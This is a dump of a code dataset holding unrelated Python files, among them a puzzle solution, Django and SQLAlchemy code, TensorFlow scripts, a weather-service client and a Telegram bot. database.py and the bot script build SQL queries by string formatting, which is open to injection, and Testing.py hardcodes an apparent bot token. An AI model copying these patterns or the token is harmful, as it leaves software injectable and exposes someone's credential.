     dv = b[\"v\"][i]-a[\"v\"][i]\n        dp = b[\"p\"][i]-a[\"p\"][i]\n        times = quadratic_for_ints(\n            da,\n            da + 2*dv,\n            2*dp\n        )\n        if float(\"inf\") not in times:\n            candidates.append(set(times))\n    candidates = set.intersection(*candidates)\n    candidates = [t for t in candidates if t > 0]\n    return min(candidates) if candidates else None\n\n#part 1\n#todo: find solution for this that doesn't assume the answer can be found within MAX_ROUNDS ticks\ndata = get_data()\nfor round in range(MAX_ROUNDS):\n    tick(data)\nclosest = min(data, key=lambda d: magnitude(d[\"p\"]))\nprint(data.index(closest))\n\n#part 2\ndata = get_data()\n#find all potential collisions, keyed by time\ncollisions = collections.defaultdict(set)\nfor i in range(len(data)):\n    for j in range(i+1, len(data)):\n        t = intersection(data[i],data[j])\n        if t:\n            collisions[t].add(i)\n            collisions[t].add(j)\n\n#not all of those possible collisions are necessarily real;\n#if particles 0 and 1 collide at time T=23,\n#then a projected collision of particles 0 and 2 at time T=42 won't occur.\n#so let's iterate through these in time order and track which ones actually happen.\ndestroyed = set()\nfor k, v in sorted(collisions.items()):\n    undestroyed_particles = [idx for idx in v if idx not in destroyed]\n    if len(undestroyed_particles) >= 2:\n        destroyed.update(set(v))\nprint(len(data) - len(destroyed))\n","sub_path":"day20.py","file_name":"day20.py","file_ext":"py","file_size_in_byte":3334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"591255518","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('bulls', '0004_auto_20160522_1406'),\n    ]\n\n    operations = [\n        migrations.AlterModelOptions(\n            name='game',\n            options={'verbose_name': 'peli', 'verbose_name_plural': 'pelit'},\n        ),\n        migrations.AddField(\n            model_name='player',\n            name='player_id',\n            field=models.CharField(max_length=128, null=True, verbose_name='id', blank=True),\n        ),\n    ]\n","sub_path":"bulls/migrations/0005_auto_20160522_1420.py","file_name":"0005_auto_20160522_1420.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"383191638","text":"from sqlalchemy import create_engine\nfrom sqlalchemy.engine.url import URL\n\ndistrict_table_map = {'vps': 'vancouver', 'wcpss': 'wake'}\n\ndef connect(settings):\n    \"\"\"\n    Performs database connection using database settings from the environmental variable 'edu_db_string'.\n    Connection URL is formatted as: postgresql://<username>:<password>@<host>/<database>\n    Returns SQLAlchemy Engine instance.\n    \"\"\"\n    try:\n      engine = create_engine(URL(**settings))\n      # Test database connection.\n      connection = engine.connect()\n      connection.close()\n      return engine\n    except Exception as e:\n        e.args = (\"Could not initialize database because: \" + e.args[0],)\n        raise e\n\n\ndef get_summary_features(settings, summary_hash, schema=None):\n    schema = district_table_map[schema]\n    engine = connect(settings)\n    conn = engine.raw_connection()\n    cur = conn.cursor()\n    sql = \"SELECT * FROM {}.summary WHERE summary_hash='{}'\".format(schema, summary_hash)\n    cur.execute(sql)\n    summary = cur.fetchone()\n    if summary:\n        sql = \"SELECT * FROM {}.results WHERE summary_id='{}'\".format(schema, summary_hash)\n        results = cur.execute(sql)\n        cur.close()\n        conn.close()\n        return results\n    else:\n        cur.close()\n        conn.close()\n        return False\n","sub_path":"python_hylas/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"374096461","text":"import tensorflow as tf\n\n# add a version to this graph\ntf.constant(\"0.1.0\", name=\"version\")\n\n# inputs:\nbuff_1 = tf.placeholder(dtype=tf.float64, name=\"buff1\")\nshape_1 = tf.placeholder(dtype=tf.int64, name=\"shape1\")\n\nbuff_2 = tf.placeholder(dtype=tf.float64, name=\"buff2\")\nshape_2 = tf.placeholder(dtype=tf.int64, name=\"shape2\")\n\nshape_b = tf.placeholder(dtype=tf.int64, name=\"shapeBegin\")\nshape_s = tf.placeholder(dtype=tf.int64, name=\"shapeSize\")\n\n# inverse\ninv = tf.reshape(buff_1, shape=shape_1)\ninv = tf.linalg.inv(inv)\ninv = tf.reshape(inv, shape=[-1], name=\"inv\")\n\n# transpose\ntranspose = tf.reshape(buff_1, shape=shape_1)\ntranspose = tf.linalg.transpose(transpose)\ntranspose = tf.reshape(transpose, shape=[-1], name=\"transposeOp\")\n\n# qr decomposition\nqr = tf.reshape(buff_1, shape=shape_1)\nq, r = tf.linalg.qr(qr, full_matrices=False)\nq = tf.reshape(q, shape=[-1])\nr = tf.reshape(r, shape=[-1])\ntf.identity(q, name=\"qrdecomp_q\")\ntf.identity(r, name=\"qrdecomp_r\")\n\n# create matrix\nmat_zeros = tf.zeros(shape=shape_1, dtype=tf.float64)\ntf.reshape(mat_zeros, shape=[-1], name=\"zeros\")\n\nmat_ones = tf.ones(shape=shape_1, dtype=tf.float64)\ntf.reshape(mat_ones, shape=[-1], name=\"ones\")\n\nmat_rand = tf.random_uniform(shape=shape_1, dtype=tf.float64)\ntf.reshape(mat_rand, shape=[-1], name=\"rand\")\n\nmat_randn = tf.random_normal(shape=shape_1, dtype=tf.float64)\ntf.reshape(mat_rand, shape=[-1], name=\"randn\")\n\n# matrix multiply\nmat_x = tf.reshape(buff_1, shape=shape_1)\nmat_y = tf.reshape(buff_2, shape=shape_2)\nmat_xy = tf.matmul(mat_x, mat_y)\ntf.shape(mat_xy, out_type=tf.int64, name=\"mulShape\")\ntf.reshape(mat_xy, shape=[-1], name=\"mul\")\n\n# matrix slice\nmat_s = tf.reshape(buff_1, shape=shape_1)\nmat_s = tf.slice(mat_s, begin=shape_b, size=shape_s)\nmat_s_shape = tf.shape(mat_s, out_type=tf.int64)\ntf.identity(mat_s_shape, name=\"sliceShapeOp\")\nmat_s =tf.reshape(mat_s, shape=[-1])\ntf.identity(mat_s, name=\"sliceOp\")\n\n# matrix reshape\nmat_reshape = tf.reshape(buff_1, shape=shape_1)\nmat_reshape = tf.reshape(mat_reshape, shape=shape_2)\nmat_reshape = tf.reshape(mat_reshape, shape=[-1])\ntf.identity(mat_reshape, name=\"reshapeOp\")\n\n# matrix repeat aka tile\nmat_tiled = tf.reshape(buff_1, shape=shape_1)\nmat_tiled = tf.tile(mat_tiled, multiples=shape_2)\nmat_tiled_shape = tf.shape(mat_tiled, out_type=tf.int64)\ntf.identity(mat_tiled_shape, name=\"tileShapeOp\")\nmat_tiled =tf.reshape(mat_tiled, shape=[-1])\ntf.identity(mat_tiled, name=\"tileOp\")\n\n# finally save the graph to be used in Go code\ngraph = tf.Session().graph_def\ntf.io.write_graph(graph, \"./model\", \"graph.pb\", as_text=False)\n\nwith tf.Session() as sess:\n    tf.summary.FileWriter(logdir=\"/tmp/tensorflow/mat\", graph=sess.graph)\n\nprint(\"run 'tensorboard --logdir=/tmp/tensorflow' to view the graph\")\n","sub_path":"mat/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"439081511","text":"from __future__ import absolute_import, division, print_function, unicode_literals\nimport functools\n\nimport numpy as np\nimport tensorflow as tf\n\nTRAIN_DATA=\"heart_train.csv\"\nTEST_DATA=\"heart_test.csv\"\n\n\nnp.set_printoptions(precision=3, suppress=True)\n\nLABEL_COLUMN = 'chd'\nLABELS = [0, 1]\n\ndef get_dataset(file_path, **kwargs):\n  dataset = tf.data.experimental.make_csv_dataset(\n      file_path,\n      batch_size=10, # Artificially small to make examples easier to show.\n      label_name=LABEL_COLUMN,\n      na_value=\"?\",\n      num_epochs=1,\n      ignore_errors=True, \n      **kwargs)\n  return dataset\n\nSELECT_COLUMNS = ['sbp','tobacco','ldl','adiposity','famhist', 'typea','obesity','alcohol','age','chd']\nraw_train_data = get_dataset(TRAIN_DATA,select_columns=SELECT_COLUMNS)\nraw_test_data = get_dataset(TEST_DATA,select_columns=SELECT_COLUMNS)\n\n\ndef show_batch(dataset):\n  for batch, label in dataset.take(1):\n    for key, value in batch.items():\n      print(\"{:20s}: {}\".format(key,value.numpy()))\n\n\n\n\ntrain_batch,label_batch = next(iter(raw_train_data))\ntest_batch,label_batch = next(iter(raw_test_data))\n\ndef pack(features, label):\n  return tf.stack(list(features.values()), axis=-1), label\n\n\nclass PackNumericFeatures(object):\n def __init__(self,names):\n  self.names=names\n\n def __call__(self, features, labels):\n   numeric_features = [features.pop(name) for name in self.names]\n   numeric_features = [tf.cast(feat, tf.float32) for feat in numeric_features]\n   numeric_features = tf.stack(numeric_features, axis=-1)\n   features['numeric'] = numeric_features\n\n   return features, labels\n\nNUMERIC_FEATURES = ['sbp','tobacco','ldl','adiposity','typea','obesity','alcohol','age']\n\n\n\npacked_train_data = raw_train_data.map(\n PackNumericFeatures(NUMERIC_FEATURES))\n\npacked_test_data = raw_train_data.map(\n PackNumericFeatures(NUMERIC_FEATURES))\n\nshow_batch(packed_train_data)\n\n\n\ntrain_batch,label_batch = next(iter(packed_train_data))\ntest_batch,label_batch = next(iter(packed_test_data))\n\nimport pandas as pd\ndesc = pd.read_csv(TRAIN_DATA)[NUMERIC_FEATURES].describe()\nprint(desc)\n\nMEAN = np.array(desc.T['mean'])\nSTD = np.array(desc.T['std'])\n\ndef normalize_numeric_data(data, mean, std):\n  # Center the data\n  return (data-mean)/std\n\nnormalizer = functools.partial(normalize_numeric_data, mean=MEAN, std=STD)\n\nnumeric_column = tf.feature_column.numeric_column('numeric', normalizer_fn=normalizer, shape=[len(NUMERIC_FEATURES)])\nnumeric_columns = [numeric_column]\nnumeric_column\n\ntrain_batch['numeric']\n\nnumeric_layer = tf.keras.layers.DenseFeatures(numeric_columns)\nnumeric_layer(train_batch).numpy()\n\n\nCATEGORIES = {\n    'famhist': ['Present', 'Absent']\n\n}\n\ncategorical_columns = []\nfor feature, vocab in CATEGORIES.items():\n  cat_col = tf.feature_column.categorical_column_with_vocabulary_list(\n        key=feature, vocabulary_list=vocab)\n  categorical_columns.append(tf.feature_column.indicator_column(cat_col))\n\nprint(categorical_columns)\n\ncategorical_layer = tf.keras.layers.DenseFeatures(categorical_columns)\npreprocessing_layer = tf.keras.layers.DenseFeatures(categorical_columns+numeric_columns)\n\n\n\n\nmodel = tf.keras.Sequential([\n  preprocessing_layer,\n  tf.keras.layers.Dense(120, activation='relu'),\n  tf.keras.layers.Dropout(0.3),\n  tf.keras.layers.Dense(60, activation='relu'),\n  tf.keras.layers.Dropout(0.3),\n  tf.keras.layers.Dense(1, activation='sigmoid'),\n\n])\n\nmodel.compile(\n    loss='binary_crossentropy',\n    optimizer='adam',\n    metrics=['accuracy'])\n\ntraining_data=packed_train_data.shuffle(500)\ntesting_data=packed_test_data\n\nprint(\"--Fit model--\")\nmodel.fit(training_data, epochs=100)\n\nprint(\"--Testing Results--\")\nmodel_loss, model_accuracy = model.evaluate(testing_data,verbose=2)\nprint(f\"Model Loss:    {model_loss:.2f}\")\nprint(f\"Model Accuray: {model_accuracy*100:.1f}%\")\n\n\n\n\n\n\n\n\n\n","sub_path":"CHD/CHDModel.py","file_name":"CHDModel.py","file_ext":"py","file_size_in_byte":3813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"175788642","text":"\n\nfrom xai.brain.wordbase.nouns._cavalry import _CAVALRY\n\n#calss header\nclass _CAVALRIES(_CAVALRY, ):\n\tdef __init__(self,): \n\t\t_CAVALRY.__init__(self)\n\t\tself.name = \"CAVALRIES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"cavalry\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_cavalries.py","file_name":"_cavalries.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"294079574","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 23 21:29:18 2021\n\n@author: user\n\"\"\"\n\n#for number in range(1, 13):\n   # print(number)\n#vowels = 0\n#consonants = 0 \n  \n#for letter in \"Hello\":\n   # if letter.lower() in \"aeiou\":\n       # vowels = vowels + 1\n   # elif letter == \" \":\n       # pass\n    #else:\n       # consonants = consonants + 1\n#print(\"There are {} vowels\".format(vowels))\n#print(\"There are {} consonants\".format(vowels))\n\n\n\n#students = {\n   # \"male\": [\"AlYahu\", \"Ban\"],\n    ## }\n\n#for key in students.keys():\n   # for name in students[key]:\n      #  if \"a\" in name:\n           # print(name)\n           # \n            \n#even_number = [x for x in range(1,101) if x %2 == 0]\n#print(even_numbers)\n\n#get sentence from user\n\norginial = input(\"Please enter a sentence: \").lower().strip()\n\n#split sentence into words\nwords = orginial.split()\nprint(words)\n\n#loop though words and convert to pig latin\n\nnew_words = []\n\n#if starts with vowel, just add \"yay\"\nfor word in words:\n   if word[0] in \"aeiou\":\n       new_word = word + \"yay\"\n       new_words.append(new_word)\n   else:\n        vowel_pos = 0\n        for letter in word:\n           if letter not in \"aeiou\":\n            vowel_pos = vowel_pos + 1\n        else:\n            break\n        #Slice\n        cons = word[:vowel_pos]\n        the_rest = word[vowel_pos:]\n        new_word = the_rest + cons + \"ay\"\n        new_words.append(new_word)\n\n#Otherwise, move the first consonant cluster to end, and add \"ay\"\n\n#stick words back together\noutput = \" \".join(new_words)\n\n#output the final string\nprint(output)","sub_path":"piglatintranslator.py","file_name":"piglatintranslator.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"436339923","text":"from django.conf.urls import patterns, url\nfrom automaticPort.views import *\n\nurlpatterns = patterns('',\n                       url(r'^cadastro/$', Cadastro.as_view(), name='cadastroUsuario'),\n                       url(r'^ativacadastro/(?P<chaveAtivacao>.+)/$', AtivaCadastro.as_view(), name='ativaCadatro'),\n\n                       url(r'^perfil/$', Perfil.as_view(), name='perfil'),\n                       url(r'^editarperfil/(?P<user_id>\\d+)/$', Perfil.as_view(), name='editarPerfil'),\n\n                       url(r'^recuperarsenha/$', RecuperarSenha.as_view(), name='emailRecuperarSenha'),\n                       url(r'^recuperarsenhachave/(?P<chaveAtivacao>.+)/$', RecuperarSenha.as_view(), name='recuperarSenha'),\n\n                       url(r'^emailativacao/$', EmailAtivacao.as_view(), name='emailAtivacao'),\n                       url(r'^faleconosco/$', FaleConosco.as_view(), name='faleConosco'),\n\n                       url(r'^login/$', Login.as_view(),name='login'),\n                       url(r'^suporte/$', Suporte.as_view(),name='suporte'),\n                       url(r'^logout/$', 'django.contrib.auth.views.logout', {'template_name': 'usuario/logout/logout.html', 'extra_context': {'controleMenu': 'logout'}}, name='logout'),\n                       )","sub_path":"automaticPort/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"230009547","text":"from tkinter import *\r\n\r\n\r\ndef addtolist():\r\n    projectlist = [entry.get(), entry1.get(), entry2.get(), entry3.get()]\r\n    print(projectlist)\r\n\r\nroot = Tk()\r\n\r\nroot.geometry(\"450x300\")\r\n\r\nlabel = Label(root, text=\"Employees I.D. number: \")\r\nlabel.place(x=40, y=0)\r\nentry = Entry(bd=5)\r\nentry.place(x=250, y=0)\r\n\r\nlabel1 = Label(root, text=\"Name of your project: \")\r\nlabel1.place(x=40, y=40)\r\nentry1 = Entry(bd=5)\r\nentry1.place(x=250, y=40)\r\n\r\nlabel2 = Label(root, text=\"Team lead on project: \")\r\nlabel2.place(x=40, y=80)\r\nentry2 = Entry(bd=5)\r\nentry2.place(x=250, y=80)\r\n\r\nlabel3 = Label(root, text=\"Time spent on project this week: \")\r\nlabel3.place(x=40, y=120)\r\nentry3 = Entry(bd=5)\r\nentry3.place(x=250, y=120)\r\n\r\nsubmit = Button(root, text=\"Submit\", command = addtolist)\r\nsubmit.place(x=150, y=160)\r\n\r\nroot.mainloop()\r\n\r\n","sub_path":"projectCenter.py","file_name":"projectCenter.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"301714862","text":"__author__ = 'ankhbold'\n\nfrom sqlalchemy import Column, Integer, String, Date, Sequence, ForeignKey, DateTime\nfrom CaParcel import *\n\nclass VaInfoHomeBuilding(Base):\n\n    __tablename__ = 'va_info_building'\n\n    id = Column(Integer, primary_key=True)\n    building_id = Column(String)\n    area_m2 = Column(Float)\n    price = Column(Float)\n    floor = Column(Integer)\n    room = Column(Integer)\n    status_year = Column(DateTime)\n    construction_year = Column(DateTime)\n\n    #foreign keys:\n    register_no = Column(String, ForeignKey('va_info_parcel.register_no'))\n    register_no_ref = relationship(\"VaInfoHomeParcel\")\n\n    landuse_building = Column(Integer, ForeignKey('cl_type_landuse_building.code'))\n    landuse_building_ref = relationship(\"VaTypeLanduseBuilding\")\n\n    stove_type = Column(Integer, ForeignKey('cl_type_stove.code'))\n    stove_type_ref = relationship(\"VaTypeStove\")\n\n    material_type = Column(Integer, ForeignKey('cl_type_material.code'))\n    material_type_ref = relationship(\"VaTypeMaterial\")\n\n    design_type = Column(Integer, ForeignKey('cl_type_design.code'))\n    design_type_ref = relationship(\"VaTypeDesign\")\n\n    heat_type = Column(Integer, ForeignKey('cl_type_heat.code'))\n    heat_type_ref = relationship(\"VaTypeHeat\")\n\n    building_status = Column(Integer, ForeignKey('cl_type_status_building.code'))\n    building_status_ref = relationship(\"VaTypeStatusBuilding\")\n\n    building_esystem = Column(Integer, ForeignKey('cl_type_engineering_system.code'))\n    building_esystem_ref = relationship(\"VaTypeESystem\")\n","sub_path":"model/VaInfoHomeBuilding.py","file_name":"VaInfoHomeBuilding.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"590031833","text":"import knapsack\nimport traceback\nimport re\nfrom dynamic_programming import DynamicProgramTable\n\ndef test_knapsack(testcase):\n    outputString = \"\"\n    testname, items, W, included_items, total_value = testcase\n\n    # Set up the dynamic programming table.\n    D = DynamicProgramTable(len(items) + 1, W + 1, knapsack.cell_ordering(items, W), knapsack.fill_cell)\n\n    try:\n        D.fill(items=items, W=W)\n    except:\n        outputString += \"Exception encountered when filling dynamic-programming table:\\n\"\n        outputString += traceback.format_exc()\n        return outputString\n\n    try:\n        (res_included_items, res_total_value) = knapsack.knapsack_from_table(items,W,D)\n    except:\n        outputString += \"Exception encountered when running diff_from_table:\\n\"\n        outputString += traceback.format_exc()\n        return outputString\n\n    for x in included_items:\n        if not x in res_included_items:\n            outputString += \"Output list should have included %s but did not\\n\"%str(x)\n\n    for x in res_included_items:\n        if not x in included_items:\n            outputString += \"Output list included %s but should not have\\n\"%str(x)\n\n    if res_total_value != total_value:\n        outputString += \"Total value output was %s but should've been %s\\n\"%(res_total_value,total_value)\n\n    return outputString\n\ndef stringToList(input):\n    output = []\n    tuples = input.strip(\"[()]\").split(\"), (\")\n    if tuples == ['']:\n        return []\n    for i in tuples:\n        vw = i.split(\", \")\n        output.append((int(vw[0]), int(vw[1])))\n    return output\n\nwith open(\"knapsack_tests.txt\", 'r') as testfile:\n    L = testfile.readlines()\n    num_tests_run = 0\n    num_failed_tests = 0\n    for l in L:\n        (testname, items, W, included_items, total_value)  = l.strip().split(\";\")\n        testcase = (testname, stringToList(items), int(W), stringToList(included_items), int(total_value))\n        test_result = test_knapsack(testcase)\n        num_tests_run += 1\n        if len(test_result) > 0:\n            print(\"Failed test with name %s\" % testname)\n            print(test_result)\n            num_failed_tests += 1\n\nprint(\"Ran %d tests\"%num_tests_run)\nprint(\"Failed %d tests\"%num_failed_tests)\n","sub_path":"HW4/test_knapsack.py","file_name":"test_knapsack.py","file_ext":"py","file_size_in_byte":2209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"301732270","text":"from decimal import Decimal\n\nfrom ..base import APITestCase\n\n\nclass TestGetAvailableCurrencies(APITestCase):\n    def test_successful_request(self):\n        response = self.client.get('/api/getAvailableCurrencies/')\n\n        self.assertEqual(response.status_code, 200)\n        self.assertEqual(response.data, [\n            {'code': c, 'name': c, 'contract_address': '0x0000000000000000000000000000000000000000', 'rate': Decimal('1')}\n            for c in ['DAI', 'USDC', 'USDT', 'TUSD']\n        ])\n","sub_path":"user_office/tests/api/test_get_available_currencies.py","file_name":"test_get_available_currencies.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"155917235","text":"\nimport math\nimport numpy as np\nimport matplotlib.pyplot as pl\npl.rcParams['font.family'] = 'stixgeneral'\nfrom matplotlib.ticker import MaxNLocator\nfrom astropy.table import Table\nimport json\nfrom scipy import constants\n\n#\ndef interp_json(infil,fit_cmp):\n\n    #infil = '../../data/J1534+5015_model.json'\n    #fit_cmp = 'z-0.00005_NaI'\n\n    with open(infil) as data_file:\n        data=json.load(data_file)\n\n    systems=['z0.00000_MW']\n    #components=[]\n\n    cmp_dict = 0\n    for cmp in data[\"cmps\"]:\n        systems.append(str(cmp))\n        #print(data[\"cmps\"][str(cmp)]['wrest'])\n        if(fit_cmp == str(cmp)):\n            cmp_dict=data[\"cmps\"][str(cmp)]\n\n    if(cmp_dict==0):\n        print(\"Your selected system is not in this json file!\")\n        print(\"Pick one of the following:\")\n        print(systems)\n\n        #cmp_data+=str(cmp)+';'\n        #cmp_data+=str(cmp_dict[\"Reliability\"])+';'\n        #if cmp_dict[\"Comment\"]=='':\n        #    cmp_data+='None;'\n        #else:\n        #    cmp_data+=str(cmp_dict[\"Comment\"])+';'\n        #cmp_data+=str(cmp_dict[\"Nfit\"])+';'\n        #cmp_data+=str(cmp_dict[\"bfit\"])+';'\n        #components.append(cmp_data)\n        #print(cmp_dict['zfit'])\n        #print(cmp_dict['vlim'])\n\n    if(cmp_dict==0):\n        return {'zfit':0.0, 'vlim':0.0, 'Nfit':0.0, 'bfit':0.0}\n    else:\n        \n        zfit = cmp_dict['zfit']\n        vlim = cmp_dict['vlim']\n        Nfit = cmp_dict['Nfit']\n        bfit = cmp_dict['bfit']\n\n        lam0 = (1.0+zfit)*cmp_dict['wrest']\n        lam0red = (1.0+zfit)*5897.5581\n\n        print(\"igm_guesses results for this component:\")\n        print(lam0,lam0red,cmp_dict['Nfit'],cmp_dict['bfit'])    \n        #print(cmp_dict.keys())    \n        print(\"All systems in json file:\")\n        print(systems)\n        #print(components)\n\n    \n        return {'zfit':zfit, 'vlim':vlim, 'Nfit':Nfit, 'bfit':bfit}\n","sub_path":"interp_json.py","file_name":"interp_json.py","file_ext":"py","file_size_in_byte":1868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"106986438","text":"\"\"\"\nService base class\n\"\"\"\n\n# pylint: disable=too-few-public-methods\n\n# stdlib\nfrom socket import gaierror\nfrom typing import Any, Optional, Tuple\n\n# library\nimport httpx\nimport httpcore\n\n# module\nfrom avwx.exceptions import SourceError\n\n_VALUE_ERROR = \"'{}' is not a valid report type for {}. Expected {}\"\n\n\nclass Service:\n    \"\"\"Base Service class for fetching reports\"\"\"\n\n    url: Optional[str] = None\n    report_type: str\n    _valid_types: Tuple[str, ...] = tuple()\n\n    def __init__(self, report_type: str):\n        if self._valid_types:\n            if report_type not in self._valid_types:\n                raise ValueError(\n                    _VALUE_ERROR.format(\n                        report_type, self.__class__.__name__, self._valid_types\n                    )\n                )\n        self.report_type = report_type\n\n\nclass CallsHTTP:\n    \"\"\"Service supporting HTTP requests\"\"\"\n\n    method: str = \"GET\"\n\n    async def _call(\n        self,\n        url: str,\n        params: dict = None,\n        headers: dict = None,\n        data: Any = None,\n        timeout: int = 10,\n    ) -> str:\n        name = self.__class__.__name__\n        try:\n            async with httpx.AsyncClient(timeout=timeout) as client:\n                if self.method.lower() == \"post\":\n                    resp = await client.post(\n                        url, params=params, headers=headers, data=data\n                    )\n                else:\n                    resp = await client.get(url, params=params, headers=headers)\n                if resp.status_code != 200:\n                    raise SourceError(f\"{name} server returned {resp.status_code}\")\n        except (\n            httpx.ConnectTimeout,\n            httpx.ReadTimeout,\n            httpcore.ReadTimeout,\n        ) as timeout_error:\n            raise TimeoutError(f\"Timeout from {name} server\") from timeout_error\n        except (gaierror, httpcore.ConnectError, httpx.ConnectError) as connect_error:\n            raise ConnectionError(\n                f\"Unable to connect to {name} server\"\n            ) from connect_error\n        except httpcore.NetworkError as network_error:\n            raise ConnectionError(\n                f\"Unable to read data from {name} server\"\n            ) from network_error\n        return resp.text\n","sub_path":"avwx/service/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":2278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"130637550","text":"\nimport logging\nfrom Database import *\nfrom telebot import *\n\nbot = TeleBot(\"549806791:AAHdVNTdoW-f9_350AzF9zS3Vmqtyk9Fi_Y\")\n\n@bot.message_handler(commands=[\"check\"])\ndef hello(message):\n    print(message)\n    bot_markup = types.InlineKeyboardMarkup()\n    btn_set_Review = types.InlineKeyboardButton(text=\"Оставить отзыв\", url=\"https://habrhabr.ru\")\n    bot_markup.add(btn_set_Review)\n    bot.send_message(message.chat.id, \"Проверка\", reply_markup = bot_markup)\n\n@bot.message_handler(content_types=[\"contact\"])\ndef newContact(message):\n    DataBase().newSubscriber(message.from_user.id, message.contact.user_id)\n    #DataBase().getSubscribes(message.from_user.id)\n\n@bot.message_handler(commands=[\"myfriends\"])\ndef getSubs(message):\n    subs = DataBase().getSubscribes(message.from_user.id)\n    bot.send_message(message.chat.id, \"Ваши друзья: \" + str(subs))\n\n\nbot.polling()\n\n\n\"\"\"class DataBase():\n    def __init__(self):\n        self.connection = sqlite3.conntect(\"test.db\")\n        self.cursor = self.connection.cursor()\n\n    def _createTables(self):\n        self.cursor.executeCREATE TABLE IF NOT EXIST users (\n            user_id INT,\n            subscribed_to_user_id INT;\n        ))\n        self.connection.commit()\n\n    def newSubscriber(self, from_user_id, to_user_id):\n        self.cursor.execute(\"INSERT INTO users VALUES({0}, {1})\".format(from_user_id, to_user_id))\n        self.connection.commit()\n\n    def getSubscribes(self, from_user_id):\n        self.cursor.execute(\"SELECT subscribed_to_user_id FROM users WHERE user_id = {0}\".format(from_user_id))\n        data = self.cursor.fetchall()\n        print(data)\n        #return data\n\n\"\"\"","sub_path":"Testing.py","file_name":"Testing.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"226727566","text":"class Connectivity:\n    def __init__(self):\n        self.data = None\n        self.length = None\n\n    def union(self, element, to_element):\n        raise NotImplementedError\n\n    def is_connected(self, element, to_element):\n        raise NotImplementedError\n\n    @staticmethod\n    def drop(obj):\n        obj.data = [i for i in range(obj.length)]\n        print('=== Dropped ===')\n\n    def show_connection(self, element, to_element):\n        print(f'id {element} connected to id {to_element}: ', self.is_connected(element, to_element))\n\n    def __repr__(self):\n        a = [i for i in range(self.length)]\n        b = self.data\n        return f'{a} \"ids\"\\n{b}\\n'\n\n    def __str__(self):\n        return self.__repr__()\n\n\nclass QuickFind(Connectivity):\n    def __init__(self, length):\n        super().__init__()\n        self.length = length\n        self.data = [i for i in range(length)]\n\n    def union(self, element, to_element):\n        if self.is_connected(element, to_element):\n            return\n\n        element_value = self.data[element]\n        to_element_value = self.data[to_element]\n\n        for i in range(self.length):\n            if self.data[i] == element_value:\n                self.data[i] = to_element_value\n\n    def is_connected(self, element, to_element):\n        return self.data[element] == self.data[to_element]\n\n\nclass QuickUnion(Connectivity):\n    def __init__(self, length):\n        super().__init__()\n        self.length = length\n        self.data = [i for i in range(length)]\n\n    def _get_root(self, i):\n\n        while i != self.data[i]:\n            i = self.data[i]\n\n        return i\n\n    def union(self, element, to_element):\n        element_root = self._get_root(element)\n        to_element_root = self._get_root(to_element)\n        self.data[element_root] = to_element_root\n\n    def is_connected(self, element, to_element):\n        return self._get_root(element) == self._get_root(to_element)\n\n\nclass QuickUnionWeighted(QuickUnion):\n    def __init__(self, length):\n        super().__init__(length)\n        self.size_array = [1 for _ in range(length)]\n\n    def union(self, element, to_element):\n        element_root = self._get_root(element)\n        to_element_root = self._get_root(to_element)\n\n        if element_root == to_element_root:\n            return\n\n        if self.size_array[element_root] < self.size_array[to_element_root]:\n            self.data[element_root] = to_element_root\n            self.size_array[to_element_root] += self.size_array[element_root]\n        else:\n            self.data[to_element_root] = element_root\n            self.size_array[element_root] += self.size_array[to_element_root]\n\n\nif __name__ == \"__main__\":\n    def connectivity_scenario(find_object):\n        print('--- ' * 20)\n        print(f'Scenario for {find_object.__class__.__name__}')\n        print('--- ' * 20)\n        find_object.show_connection(0, 3)\n\n        find_object.union(0, 3)\n        find_object.show_connection(0, 3)\n\n        find_object.drop(find_object)\n        find_object.show_connection(0, 3)\n\n        find_object.union(0, 3)\n        print(find_object)\n        find_object.union(0, 4)\n        print(find_object)\n        find_object.union(3, 5)\n        print(find_object)\n        find_object.union(9, 1)\n        print(find_object)\n        find_object.show_connection(5, 4)\n        print('--- ' * 20)\n\n    connectivity_scenario(find_object=QuickFind(length=10))\n    connectivity_scenario(find_object=QuickUnion(length=10))\n    connectivity_scenario(find_object=QuickUnionWeighted(length=10))\n","sub_path":"education_part/connectivity/connectivity.py","file_name":"connectivity.py","file_ext":"py","file_size_in_byte":3527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
